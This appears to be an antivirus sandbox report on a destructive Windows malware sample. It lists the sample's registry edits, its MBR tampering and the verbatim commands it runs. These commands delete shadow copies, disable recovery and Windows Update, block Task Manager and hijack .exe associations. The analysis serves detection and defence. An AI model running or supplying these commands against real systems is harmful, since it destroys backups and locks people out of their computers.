Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\Software\Classes\.exe] '' = 'exefile.old'
- [HKLM\Software\Classes\exefile.old\Shell\Open\Command] '' = '<SYSTEM32>\notepad.exe'
Modifies master boot record (MBR).
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Windows Update
blocks the following features:
- System Restore (SR)
deletes volume shadow copies.
Executes the following
- '<SYSTEM32>\taskkill.exe' /f /im ms-settings.exe
- '<SYSTEM32>\taskkill.exe' /f /im taskmgr.exe
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Executes the following
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled no
- '<SYSTEM32>\cmd.exe' /c reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /f
- '<SYSTEM32>\reg.exe' delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /f
- '<SYSTEM32>\cmd.exe' /c reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f
- '<SYSTEM32>\reg.exe' delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f
- '<SYSTEM32>\cmd.exe' /c reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /f
- '<SYSTEM32>\reg.exe' delete HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /f
- '<SYSTEM32>\cmd.exe' /c reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce /f
- '<SYSTEM32>\cmd.exe' /c assoc .exe=exefile.old
- '<SYSTEM32>\cmd.exe' /c sc stop spooler
- '<SYSTEM32>\cmd.exe' /c ftype exefile.old=<SYSTEM32>\notepad.exe
- '<SYSTEM32>\cmd.exe' /c sc config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config spooler start= disabled
- '<SYSTEM32>\sc.exe' config spooler start= disabled
- '<SYSTEM32>\cmd.exe' /c sc stop wuauserv
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\reg.exe' delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f
- '<SYSTEM32>\reg.exe' delete HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce /f
- '<SYSTEM32>\cmd.exe' /c reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Search" /v SearchEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c vssadmin delete shadows /all /quiet
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRecovery /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRecovery /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c sc stop WSearch
- '<SYSTEM32>\sc.exe' stop WSearch
- '<SYSTEM32>\cmd.exe' /c sc config WSearch start= disabled
- '<SYSTEM32>\sc.exe' config WSearch start= disabled
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Search" /v SearchEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im ms-settings.exe
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSettings /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c ren <SYSTEM32>\ms-settings.exe ms-settings.exe.bak
- '<SYSTEM32>\cmd.exe' /c icacls <SYSTEM32>\taskmgr.exe /deny everyone:F
- '<SYSTEM32>\icacls.exe' <SYSTEM32>\taskmgr.exe /deny everyone:F
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c taskkill /f /im taskmgr.exe
- '<SYSTEM32>\sc.exe' stop spooler
